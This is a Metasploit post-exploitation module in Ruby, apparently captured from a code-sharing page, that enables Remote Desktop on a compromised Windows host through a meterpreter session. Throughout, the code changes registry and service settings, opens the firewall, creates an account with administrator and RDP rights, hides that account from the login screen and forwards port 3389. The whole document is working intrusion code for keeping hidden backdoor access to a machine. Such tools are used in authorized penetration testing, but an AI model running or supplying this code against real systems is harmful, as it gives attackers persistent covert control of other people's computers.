Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Accounts
8
  include Msf::Post::Windows::Registry
9
  include Msf::Post::Windows::Services
10
  include Msf::Post::Windows::Priv
11
  include Msf::Post::File
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Windows Manage Enable Remote Desktop',
18
        'Description' => %q{
19
          This module enables the Remote Desktop Service (RDP). It provides the options to create
20
          an account and configure it to be a member of the Local Administrators and
21
          Remote Desktop Users group. It can also forward the target's port 3389/tcp.
22
        },
23
        'License' => BSD_LICENSE,
24
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
25
        'Platform' => [ 'win' ],
26
        'SessionTypes' => [ 'meterpreter' ]
27
      )
28
    )
29

30
    register_options(
31
      [
32
        OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
33
        OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
34
        OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
35
        OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
36
        OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
37
      ]
38
    )
39
  end
40

41
  def run
42
    if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
43
      cleanup_rc = store_loot(
44
        'host.windows.cleanup.enable_rdp',
45
        'text/plain',
46
        session,
47
        '',
48
        'enable_rdp_cleanup.rc',
49
        'enable_rdp cleanup resource file'
50
      )
51

52
      if datastore['ENABLE']
53
        if is_admin?
54
          enablerd(cleanup_rc)
55
          enabletssrv(cleanup_rc)
56
        else
57
          print_error('Insufficient privileges, Remote Desktop Service was not modified')
58
        end
59
      end
60
      if datastore['USERNAME'] && datastore['PASSWORD']
61
        if is_admin?
62
          addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
63
        else
64
          print_error('Insufficient privileges, account was not be created.')
65
        end
66
      end
67
      if datastore['FORWARD']
68
        print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
69
        client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
70
      end
71
      print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
72
    end
73
  end
74

75
  def enablerd(cleanup_rc)
76
    key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
77
    value = 'fDenyTSConnections'
78
    begin
79
      v = registry_getvaldata(key, value)
80
      print_status 'Enabling Remote Desktop'
81
      if v == 1
82
        print_status "\tRDP is disabled; enabling it ..."
83
        registry_setvaldata(key, value, 0, 'REG_DWORD')
84
        file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
85
      else
86
        print_status "\tRDP is already enabled"
87
      end
88
    rescue StandardError => e
89
      print_status("The following Error was encountered: #{e.class} #{e}")
90
    end
91
  end
92

93
  def enabletssrv(cleanup_rc)
94
    service_name = 'termservice'
95
    srv_info = service_info(service_name)
96
    begin
97
      print_status 'Setting Terminal Services service startup mode'
98
      if srv_info[:starttype] != START_TYPE_AUTO
99
        print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
100
        unless service_change_config(service_name, starttype: 'START_TYPE_AUTO') == Windows::Error::SUCCESS
101
          print_error("\tUnable to change start type to Auto")
102
        end
103
        file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc config termservice start= disabled"')
104
        if service_start(service_name) == Windows::Error::SUCCESS
105
          print_good("\tRDP Service Started")
106
        end
107
        file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc stop termservice"')
108
      else
109
        print_status "\tTerminal Services service is already set to auto"
110
      end
111
      # Enabling Exception on the Firewall
112
      print_status "\tOpening port in local firewall if necessary"
113
      cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
114
      file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
115
    rescue StandardError => e
116
      print_status("The following Error was encountered: #{e.class} #{e}")
117
    end
118
  end
119

120
  def addrdpusr(username, password, cleanup_rc)
121
    print_status 'Setting user account for logon'
122
    print_status "\tAdding User: #{username} with Password: #{password}"
123
    begin
124
      if check_user(username)
125
        print_error("\tThe user #{username} already exists")
126
        return
127
      end
128

129
      rdu_sid = resolve_sid('S-1-5-32-555')
130
      admin_sid = resolve_sid('S-1-5-32-544')
131

132
      if !rdu_sid[:mapped] || !admin_sid[:mapped]
133
        print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
134
        print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
135
        print_error("\tNot adding user #{username}")
136
        return
137
      end
138

139
      rdu = rdu_sid[:name]
140
      admin = admin_sid[:name]
141

142
      user_added = false
143
      result = add_user(username, password)
144
      if result['return'] == 0
145
        user_added = true
146
      elsif check_user(username)
147
        user_added = true
148
      end
149

150
      if user_added
151
        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
152
        print_status "\tAdding User: #{username} to local group '#{rdu}'"
153
        add_members_localgroup(rdu, username)
154

155
        print_status "\tHiding user from Windows Login screen"
156
        hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
157
        registry_setvaldata(hide_user_key, username, 0, 'REG_DWORD')
158
        file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
159
        print_status "\tAdding User: #{username} to local group '#{admin}'"
160
        add_members_localgroup(admin, username)
161
        print_status 'You can now login with the created user'
162
      else
163
        print_error('Account could not be created')
164
        print_error('Error:')
165
        addusr_out.each_line do |l|
166
          print_error("\t#{l.chomp}")
167
        end
168
      end
169
    rescue StandardError => e
170
      print_status("The following Error was encountered: #{e.class} #{e}")
171
    end
172
  end
173

174
  def check_user(user)
175
    enum_user.include?(user)
176
  end
177
end
178

179